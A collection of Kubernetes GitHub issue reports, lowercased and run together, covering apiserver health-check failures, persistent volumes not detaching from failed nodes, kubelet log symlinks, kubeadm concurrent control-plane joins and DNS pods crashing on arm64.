\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:96 +0x318\r net/http.handlerfunc.servehttp 0xc4238504c0, 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:49 +0x203a\r net/http.handlerfunc.servehttp 0xc42549c2d0, 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withaudit.func1 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/audit.go:53 +0x74c\r net/http.handlerfunc.servehttp 0xc42549c320, 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:79 +0x2b1\r net/http.handlerfunc.servehttp 0xc42549c3c0, 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xcb\r net/http.handlerfunc.servehttp 0xc42505db00, 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc42505dba0, 0x88b7b20, 0xc429b52988, 0xc42aa69100, 0xc426a54360 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:93 +0x8d\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:92 +0x1ab\r \r logging error output: \  + ping ok\  - etcd failed: reason withheld\  + poststarthook/generic-apiserver-start-informers ok\  + poststarthook/start-apiextensions-informers ok\  + poststarthook/start-apiextensions-controllers ok\  - poststarthook/bootstrap-controller failed: reason withheld\  - poststarthook/rbac/bootstrap-roles failed: reason withheld\  - poststarthook/ca-registration failed: reason withheld\  + poststarthook/start-kube-apiserver-informers ok\  + poststarthook/start-kube-aggregator-informers ok\  + poststarthook/apiservice-registration-controller ok\  + poststarthook/apiservice-status-available-controller ok\  + poststarthook/apiservice-openapi-controller ok\  + poststarthook/kube-apiserver-autoregistration ok\  - autoregister-completion failed: reason withheld\ healthz check failed\ \ \r    curl/7.38.0  35.188.77.130:46178 \r    \r \r   anything else we need to know?  :\r @dixudx @directxman12 \r @kubernetes/sig-api-machinery-test-failures \r

is this a bug report or feature request?  :\r   \r the scheduler contains 2 very useful \ predicate\ , which the internal volume plugins use  gce, ebs, azure disk .\r \r they are:\r https://github.com/kubernetes/kubernetes/blob/dd9981d038012c120525c9e6df98b3beb3ef19e1/plugin/pkg/scheduler/algorithm/predicates/predicates.go l1411-l1414\r https://github.com/kubernetes/kubernetes/blob/dd9981d038012c120525c9e6df98b3beb3ef19e1/plugin/pkg/scheduler/algorithm/predicates/predicates.go l423-l427\r \r extending the flexvolume design, with \ support\  for this two function could be useful. ex: digitalocean only support 5 disk droplets per node and disk can't be mounted across-zones. at least it is way easier to use some logic already in place, than everybody need to write their own \ schedulerextender\ .\r \r /cc @chakri-nelluri @andrewsykim

is this a bug report or feature request?  : bug\r  \r \r   what happened  : persistentvolumeclaims are not moved to another node in two cases:\r \r 1  if pod  with pvc  is running in node which is deleted from the cluster\r \r    \r {\ log\ :\ i1226 23:21:55.189745       1 openstack_volumes.go:332  volume 0c12971f-da26-44a7-9333-1dba7e3f7be6 is already attached to node kube-dev-node-1-1 path /dev/vdb\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-12-26t23:21:55.189918768z\ }\r {\ log\ :\ i1226 23:21:55.189860       1 attacher.go:159  attach volume \\\ 0c12971f-da26-44a7-9333-1dba7e3f7be6\\\  to instance \\\ 1af64c3e-264d-4ec1-ae7b-6199fb9bb475\\\  failed with: disk 0c12971f-da26-44a7-9333-1dba7e3f7be6 path /dev/vdb is attached to a different instance  12db4669-6145-449e-99b7-453031b71bb0 \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-12-26t23:21:55.189943108z\ }\r {\ log\ :\ i1226 23:21:55.190080       1 actual_state_of_world.go:464  report volume \\\ kubernetes.io/cinder/0c12971f-da26-44a7-9333-1dba7e3f7be6\\\  as attached to node \\\ kube-dev-node-1-1\\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-12-26t23:21:55.190220094z\ }\r {\ log\ :\ i1226 23:21:55.191217       1 event.go:218  event v1.objectreference{kind:\\\ pod\\\ , namespace:\\\ default\\\ , name:\\\ nginx-deployment-5fc77998d-gfws9\\\ , uid:\\\ 25d323df-ea92-11e7-bfcf-fa163ee4a110\\\ , apiversion:\\\ v1\\\ , resourceversion:\\\ 1198\\\ , fieldpath:\\\ \\\ } : type: 'warning' reason: 'failedmount' attachvolume.attach failed for volume \\\ pvc-e46022b2-ea91-11e7-bfcf-fa163ee4a110\\\  : disk 0c12971f-da26-44a7-9333-1dba7e3f7be6 path /dev/vdb is attached to a different instance  12db4669-6145-449e-99b7-453031b71bb0 \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-12-26t23:21:55.191381995z\ }\r {\ log\ :\ e1226 23:21:55.191456       1 nestedpendingoperations.go:263  operation for \\\ \\\\\\\ kubernetes.io/cinder/0c12971f-da26-44a7-9333-1dba7e3f7be6\\\\\\\ \\\  failed. no retries permitted until 2017-12-26 23:23:57.190305974 +0000 utc m=+1057.372010350  durationbeforeretry 2m2s . error: \\\ attachvolume.attach failed for volume \\\\\\\ pvc-e46022b2-ea91-11e7-bfcf-fa163ee4a110\\\\\\\   uniquename: \\\\\\\ kubernetes.io/cinder/0c12971f-da26-44a7-9333-1dba7e3f7be6\\\\\\\   from node \\\\\\\ kube-dev-node-1-0\\\\\\\  : disk 0c12971f-da26-44a7-9333-1dba7e3f7be6 path /dev/vdb is attached to a different instance  12db4669-6145-449e-99b7-453031b71bb0 \\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-12-26t23:21:55.191599561z\ }\r {\ log\ :\ i1226 23:21:55.212179       1 actual_state_of_world.go:384  set detach request time to current time for volume kubernetes.io/cinder/0c12971f-da26-44a7-9333-1dba7e3f7be6 on node \\\ kube-dev-node-1-1\\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-12-26t23:21:55.212487697z\ }\r {\ log\ :\ i1226 23:21:55.212270       1 node_status_updater.go:71  could not update node status. failed to find node \\\ kube-dev-node-1-1\\\  in nodeinformer cache. error: 'node \\\ kube-dev-node-1-1\\\  not found'\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-12-26t23:21:55.212525699z\ }\r    \r \r this means that we are raising newvolumedanglingerror, which should be raised if the pvc is not attached to correct node. however, the problem is that node does not exist in cluster anymore where it was attached.\r \r 2  if pod is running in node which goes \ notready\  state, for instance something wrong with the machine.\r \r    \r events:\r   type     reason                 age              from                        message\r   ----     ------                 ----             ----                        -------\r   normal   scheduled              11m              default-scheduler           successfully assigned nginx-deployment-5fc77998d-2nzl9 to kube-dev-node-1-1\r   warning  failedattachvolume     11m              attachdetach-controller     multi-attach error for volume \ pvc-c350c73a-ea94-11e7-bfcf-fa163ee4a110\  volume is already exclusively attached to one node and can't be attached to another\r   normal   successfulmountvolume  11m              kubelet, kube-dev-node-1-1  mountvolume.setup succeeded for volume \ default-token-v2vhf\ \r   warning  failedmount            2m  x4 over 9m   kubelet, kube-dev-node-1-1  unable to mount volumes for pod \ nginx-deployment-5fc77998d-2nzl9_default 0770d96e-ea95-11e7-bfcf-fa163ee4a110 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ nginx-deployment-5fc77998d-2nzl9\ . list of unattached/unmounted volumes= vol \r     \r \r the problem in this case is that actualstateofworld contains status that notready node has volume attached https://github.com/zetaab/kubernetes/blob/master/pkg/controller/volume/attachdetach/reconciler/reconciler.go l269-l279 at least in openstack this means that pod is not moved at all to new node. this is very problematic if we want to have highly available service in kubernetes cluster. if node breaks, we should have possibility toi failover pods automatically to new node.\r \r   what you expected to happen  : i except that i should have highly available pod, but now it looks like pod with pvc cannot move to another node after current node crashes. the problem now is with disk detach in both cases. in case 1  https://github.com/zetaab/kubernetes/blob/master/pkg/controller/volume/attachdetach/reconciler/reconciler.go l269 we could check here what is status of this node where the volume is attached. for instance if node status from cloudprovider is shutdowned - we can detach the disk without any problem or risk? case 2  is difficult, because the pod can be still running there in \ notready\  node, and if we just detach volume it might lead to data corruption? however, imo we must have some way to detect is the pod running there correctly and if not -> detach volume and live goes on. i am thinking healthchecks, could they detach volume in that case?\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r case 1 \r \r 1. make pod with pvc to some node\r 2. shutdown that node from cloudprovider gui/api  node should be removed from  kubectl get nodes  \r 3. after sometime pod is moved to another node but volume is not detached?\r \r case 2 \r 1. create pod with pvc to some node\r 2. disable that node docker+kubelet from autostart, and restart node  now the node is not going to be removed from the cluster, its there but notready state \r 3. check does the pod failover to another node \r \r some logs https://github.com/kubernetes/kubernetes/pull/56846\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r kind bug\r \r \r   what happened  :\r when using hostpath as volume within deployment, pod didn't start successfully.\r in my example, hostpath used as volume mounted into pod. actually volume itself worked as expected and i could write contents to the hostpath.\r however, it seemed that hostpath blocks other functionalities.\r in my test, without hostpath, nginx could be accessed via exposed port.\r with hostpath, the port couldn't be accessed. \r \r   what you expected to happen  :\r pod should start successfully and work as expected.\r   how to reproduce it  as minimally and precisely as possible   :\r deploy following file could reproduce the problem.\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: cm-nginx\r   labels:\r     app: cm-nginx\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: cm-nginx\r   template:\r     metadata:\r       labels:\r         app: cm-nginx\r     spec:\r       containers:\r       - name: cm-nginx\r         image: docker-registry-default.ai-dev.asiainfo.com/aura/nginx:0.02\r         imagepullpolicy: ifnotpresent\r         ports:\r         - containerport: 80\r           protocol: tcp\r         volumemounts:\r           - mountpath: \ /mnt/data/confm/\ \r             name: confm\r           - mountpath: \ /mnt/data/nginx/\ \r             name: nginx-data\r       nodeselector:\r         zone: east\r       volumes:\r         - name: confm\r           configmap:\r             name: nginx-config\r             items:\r             - key: cm.txt\r               path: cm.txt\r             - key: cm2.txt\r               path: cm2.txt\r             - key: cm1.txt\r               path: 1/cm1.txt\r         - name: nginx-data\r           hostpath:\r             path: /mnt/data/nginx/\r             type: directoryorcreate\r \r ---\r apiversion: v1\r kind: service\r metadata:\r   labels:\r     app: cm-nginx-svc\r   name: cm-nginx-svc\r spec:\r   selector:\r     app: cm-nginx\r   ports:\r   - name: cm-nginx\r     port: 10080\r     targetport: 80\r    type: nodeport\r   externalips:\r     - 10.1.241.56\r     - 10.1.241.54\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+5115d708d7\ , gitcommit:\ fff65cf\ , gittreestate:\ clean\ , builddate:\ 2017-08-01t06:24:02z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+5115d708d7\ , gitcommit:\ fff65cf\ , gittreestate:\ clean\ , builddate:\ 2017-08-01t06:24:02z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r - kernel  e.g.  uname -a  :\r linux host-10-1-236-92 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r

is this a bug report or feature request?  :\r \r  @kubernetes/sig-node-proposals \r \r first suggested in https://github.com/kubernetes/contrib/issues/762\r reminded by @foxish\r \r todo:\r -     find a new home.\r -     move the directory.\r -     rename packages.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : yes\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r when kubelet restarts  due to whatever reason  after a container has been started but symlinks to the container logs are not created, the symlinks are never created, and container logs can not be read and end up with error:\r \r    \r failed to open log file \ /var/log/pods/c2cbd02c-dbe3-11e7-85de-0e10bc5ac50a/sti-build_0.log\ : open /var/log/pods/c2cbd02c-dbe3-11e7-85de-0e10bc5ac50a/sti-build_0.log: no such file or directory\r    \r at the code level, if kubelet is restarted  due to any issue  after https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kuberuntime/kuberuntime_container.go l135   m.runtimeservice.startcontainer    and before https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kuberuntime/kuberuntime_container.go l145  it also impact symlinks being created here https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/docker_container.go l243  , both symlinks are not created even though container is started successfully.    \r \r and the reason is that when kubelet restarted, the container was started successfully, and since creation of 2 symlinks  one symlink to container logs and one legacy symlink  is not associated with  started container  state, symlinks are never created, the container and its pods still completes successfully. the consequence is that container logs can not be read. \r \r the issue can happen with both init-containers and non-init  main  containers.\r \r   what you expected to happen  :\r symlinks to logs are created, so that container logs can be read via kubectl log.\r \r   how to reproduce it  as minimally and precisely as possible   :\r one way to reproduce is to instrument the kubelet code https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/docker_container.go l241 by putting sleep and when the execution hits the sleep, stop and restart the kubelet. there might be other ways too.\r \r   anything else we need to know?  :\r there are some issues that seems similar:\r https://github.com/kubernetes/kubernetes/issues/52172\r https://github.com/kubernetes/kubernetes/issues/45911\r https://github.com/coreos/tectonic-forum/issues/183\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest kube code\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r \r @sjenning @dashpole \r

feature request  :\r >\r >      implement feature for https://github.com/kubernetes/kubectl/issues/97\r \r   what is expected to happen  :\r apply is being rewritten under pkg/kubectl/apply/strategy based on visitor pattern. the new merge and replace code should check for conflicts between the recorded value and the remote value, and optionally return an error if they do not match with the field and details. a conflict is if the same field is specified in both the recorded and the remote values of an object, but does not match.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r  kubectl get  and  kubectl describe  both distinguish terminating and running pods. however,\r    sh\r kubectl get --output=json\r    \r shows  status.phase  as  running  right up until the pod dies.\r \r this also makes it impossible to use  --field-selector=...=terminating  to select only terminating pods, and means terminating pods show up in  kubectl get --field-selector=status.phase.running . example:\r \r    sh\r ➤ kubectl get pods --field-selector=status.phase=running\r name                       ready     status        restarts   age\r example-6c9b8f46d8-7dnrw   1/1       terminating   0          2m\r example-6c9b8f46d8-lt86m   1/1       terminating   0          2m\r example-7c588cf698-c99tb   1/1       running       0          7s\r example-7c588cf698-nqd8d   1/1       running       0          4s\r    \r \r if this is the desired behavior for  status.phase , it would be great to add a new field that  does  distinguish between terminating and running pods.

is this a bug report or feature request?  :\r  \r   what happened  :\r when a volume for a csi-based pv being mounted, the code does not apply the fsgroup value when the pv is marked as readonly = false.\r \r   what you expected to happen  :\r if pv.readonly == false, then the fsgroup ownership value should be applied to the mounted volume.

what happened  :\r when attempting to join 2 masters to a cluster concurrently, one succeeds and the other fails. the error we get is:    \ error execution phase control-plane-join/etcd: error creating local etcd static pod manifest file: get https://10.10.10.10:6443/api/v1/namespaces/kube-system/configmaps/kubeadm-config: eof\  \r \r in this case, i was using ansible. it wasn't until i introduced \ serial: 1\  to join them one at a time did the error stop. i should also add that this did not stop workers from joining the cluster and i could do many of these at a time.\r \r   what you expected to happen  :\r both master nodes to join the cluster\r \r   how to reproduce it  as minimally and precisely as possible   :\r attempt to join 2 masters simultaneously via a script / ansible / programatically.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14.1\r - cloud provider or hardware configuration: bare-metal\r - os  e.g:  cat /etc/os-release  : rhel 7\r - kernel  e.g.  uname -a  : 3.10.0-957.10.1.el7.x86_64\r - install tools: \r - network plugin and version  if this is a network-related bug :\r - others:\r

support building on arm64/aarch64 hosts. the biggest part of this is to update the godeps to support building on arm64.   here is a branch based on v1.2.0-alpha.2, and that builds and passes make check and make test_integration tests.  https://github.com/yghannam/kubernetes/tree/v1.2.0-alpha.2-arm64  here is a branch that is tracking kubernetes:master. https://github.com/yghannam/kubernetes/tree/aarch64_port  currently, builds targeting this aarch64_port branch fail because of lack of arm64 support in docker/libcontainer/seccomp. this may be resolved if kubernetes changes from docker/libcontainer to opencontainers/runc, since docker/libcontainer is getting stale. however, this may be a large change.

just bringing up an e2e cluster....      console % kubectl get pods --all-namespaces namespace     name                                             ready     status              restarts   age  ...  kube-system   fluentd-elasticsearch-e2e-test-mml-minion-siao   0/1       imagepullbackoff    0          32m  % kubecetl describe pod fluentd-elasticsearch-e2e-test-mml-minion-siao --namespace=kube-system name:           fluentd-elasticsearch-e2e-test-mml-minion-siao namespace:      kube-system image s :       gcr.io/google_containers/fluentd-elasticsearch:1.14 node:           e2e-test-mml-minion-siao/10.240.0.5 start time:     thu, 25 feb 2016 11:02:53 -0800 labels:         k8s-app=fluentd-logging status:         pending reason:          message:         ip:              controllers:    <none> containers:   fluentd-elasticsearch:     container id:            image:              gcr.io/google_containers/fluentd-elasticsearch:1.14     image id:                qos tier:       cpu:      guaranteed       memory:   besteffort     limits:       cpu:      100m     requests:       cpu:              100m     state:              waiting       reason:           imagepullbackoff     ready:              false     restart count:      0     environment variables: conditions:   type          status   ready         false  volumes:   varlog:     type:       hostpath  bare host directory volume      path:       /var/log   varlibdockercontainers:     type:       hostpath  bare host directory volume      path:       /var/lib/docker/containers no events.      1. the values for \ status\  don't match.  imagepullbackoff vs pending 2. no events, no error messages, no indication of what the problem is, probably without looking at the kubelet logs.  http://www.sadtrombone.com/

as part of @kubernetes/sig-cluster-lifecycle documentation effort, we should document very clearly what are the requirements of cloud providers to function. codifying this is great, but we should make sure we have a plain text version.

similar to docker events: create, update, and delete should all generate events.  inspired by, but distinct from,  3585.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r when i define a hpa policy and trigger the hpa policy works, i often get some event log such as  computed the desired num of replicas: 22  avgcpuutil: 54, current replicas: 4  , and my feeling for this event is that the hpa is going to scale up my deployment from 4 to 22 replicas.\r \r but we already have some policy to guard this to avoid some ping-pong scale-up/scale-down as here https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/podautoscaler/horizontal.go l59-l61\r \r    \r func calculatescaleuplimit currentreplicas int32  int32 {\r \treturn int32 math.max scaleuplimitfactor float64 currentreplicas , scaleuplimitminimum  \r }\r    \r \r i think that we should also update the event log a bit to reflect the   real   scale-up/scale-down number.\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/arm64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/arm64\ }\r \r   environment  :\r -   os    e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r -   kernel    e.g.  uname -a  :\r linux node4 4.11.0-rc6-next-20170411-00286-gcc55807  0 smp preempt mon jun 5 18:56:20 cst 2017 aarch64 aarch64 aarch64 gnu/linux\r \r   what happened  :\r i want to use kube-deploy/master.sh to setup master on arm64, but i encountered the error when visiting $myip:8080/ui:\r  \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ no endpoints available for service \\\ kubernetes-dashboard\\\ \ ,\r   \ reason\ : \ serviceunavailable\ ,\r   \ code\ : 503\r }\r my branch is 2017-2-7  c8d6fbfc… \r by the way, it can work on x86-amd64 platform by using the same steps to install.\r \r   anything else we need to know  :\r   1. kubectl get pods --all-namespaces\r namespace     name                                    ready     status             restarts   age\r kube-system   k8s-master-10.193.20.23                 4/4       running            51         12m\r kube-system   k8s-proxy-v1-9n9l7                      1/1       running            0          13m\r kube-system   kube-addon-manager-10.193.20.23         2/2       running            4          13m\r kube-system   kube-dns-3365905565-m4cpk               2/4       crashloopbackoff   19         13m\r kube-system   kubernetes-dashboard-1416335539-dcf40   0/1       crashloopbackoff   6          13m\r \r   2. kubectl describe pods kube-dns-3365905565-m4cpk --namespace=kube-system\r name:\t\tkube-dns-3365905565-m4cpk\r namespace:\tkube-system\r node:\t\t10.193.20.23/10.193.20.23\r start time:\tfri, 16 jun 2017 14:01:13 +0800\r labels:\t\tk8s-app=kube-dns\r \t\tpod-template-hash=3365905565\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ kube-dns-3365905565\ ,\ uid\ :\ 32fde5d2-5259-11e7-adb6-6805ca36...\r \t\tscheduler.alpha.kubernetes.io/critical-pod=\r \t\tscheduler.alpha.kubernetes.io/tolerations= {\ key\ :\ criticaladdonsonly\ , \ operator\ :\ exists\ } \r status:\t\trunning\r ip:\t\t10.1.5.3\r controllers:\treplicaset/kube-dns-3365905565\r containers:\r   kubedns:\r     container id:\tdocker://4261276702d2ce5d24e63926518200489c98fb94c86f5645f2f50ef763f7aa74\r     image:\t\tgcr.io/google_containers/kubedns-arm64:1.9\r     image id:\t\tdocker-pullable://gcr.io/google_containers/kubedns-arm64@sha256:3c78a2c5b9b86c5aeacf9f5967f206dcf1e64362f3e7f274c1c078c954ecae38\r     ports:\t\t10053/udp, 10053/tcp, 10055/tcp\r     args:\r       --domain=cluster.local.\r       --dns-port=10053\r       --config-map=kube-dns\r       --v=0\r     state:\t\twaiting\r       reason:\t\tcrashloopbackoff\r     last state:\t\tterminated\r       reason:\t\terror\r       exit code:\t137\r       started:\t\tfri, 16 jun 2017 14:13:46 +0800\r       finished:\t\tfri, 16 jun 2017 14:15:23 +0800\r     ready:\t\tfalse\r     restart count:\t6\r     limits:\r       memory:\t170mi\r     requests:\r       cpu:\t100m\r       memory:\t70mi\r     liveness:\thttp-get http://:8080/healthz-kubedns delay=60s timeout=5s period=10s  success=1  failure=5\r     readiness:\thttp-get http://:8081/readiness delay=3s timeout=5s period=10s  success=1  failure=3\r     environment:\r       prometheus_port:\t10055\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-xv2t6  ro \r   dnsmasq:\r     container id:\tdocker://ef30d99d93cd320a1e1de808f8416a66effc4341c836b3432539f94fb86f3108\r     image:\t\tgcr.io/google_containers/kube-dnsmasq-arm64:1.4\r     image id:\t\tdocker-pullable://gcr.io/google_containers/kube-dnsmasq-arm64@sha256:dff5f9e2a521816aa314d469fd8ef961270fe43b4a74bab490385942103f3728\r     ports:\t\t53/udp, 53/tcp\r     args:\r       --cache-size=1000\r       --no-resolv\r       --server=127.0.0.1 10053\r       --log-facility=-\r     state:\t\twaiting\r       reason:\t\tcrashloopbackoff\r     last state:\t\tterminated\r       reason:\t\terror\r       exit code:\t137\r       started:\t\tfri, 16 jun 2017 14:14:36 +0800\r       finished:\t\tfri, 16 jun 2017 14:16:13 +0800\r     ready:\t\tfalse\r     restart count:\t6\r     requests:\r       cpu:\t\t150m\r       memory:\t\t10mi\r     liveness:\t\thttp-get http://:8080/healthz-dnsmasq delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-xv2t6  ro \r   dnsmasq-metrics:\r     container id:\tdocker://4d4df8348d45f84a3831fd205c39b60aa4a07bfa7065c72e4de9caa2277c9039\r     image:\t\tgcr.io/google_containers/dnsmasq-metrics-arm64:1.0\r     image id:\t\tdocker-pullable://gcr.io/google_containers/dnsmasq-metrics-arm64@sha256:fc0e8b676a26ed0056b8c68611b74b9b5f3f00c608e5b11ef1608484ce55dd9a\r     port:\t\t10054/tcp\r     args:\r       --v=2\r       --logtostderr\r     state:\t\twaiting\r       reason:\t\tcrashloopbackoff\r     last state:\t\tterminated\r       reason:\t\tcontainercannotrun\r       exit code:\t128\r       started:\t\tfri, 16 jun 2017 14:13:00 +0800\r       finished:\t\tfri, 16 jun 2017 14:13:00 +0800\r     ready:\t\tfalse\r     restart count:\t7\r     requests:\r       memory:\t\t10mi\r     liveness:\t\thttp-get http://:10054/metrics delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-xv2t6  ro \r   healthz:\r     container id:\tdocker://af618e7561483e7738677a3a9c06ae2927a3819ca85c434d61c12f91c754205d\r     image:\t\tgcr.io/google_containers/exechealthz-arm64:1.2\r     image id:\t\tdocker-pullable://gcr.io/google_containers/exechealthz-arm64@sha256:e8300fde6c36b454cc00b5fffc96d6985622db4d8eb42a9f98f24873e9535b5c\r     port:\t\t8080/tcp\r     args:\r       --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1 >/dev/null\r       --url=/healthz-dnsmasq\r       --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1:10053 >/dev/null\r       --url=/healthz-kubedns\r       --port=8080\r       --quiet\r     state:\t\trunning\r       started:\t\tfri, 16 jun 2017 14:01:49 +0800\r     ready:\t\ttrue\r     restart count:\t0\r     limits:\r       memory:\t50mi\r     requests:\r       cpu:\t\t10m\r       memory:\t\t50mi\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-xv2t6  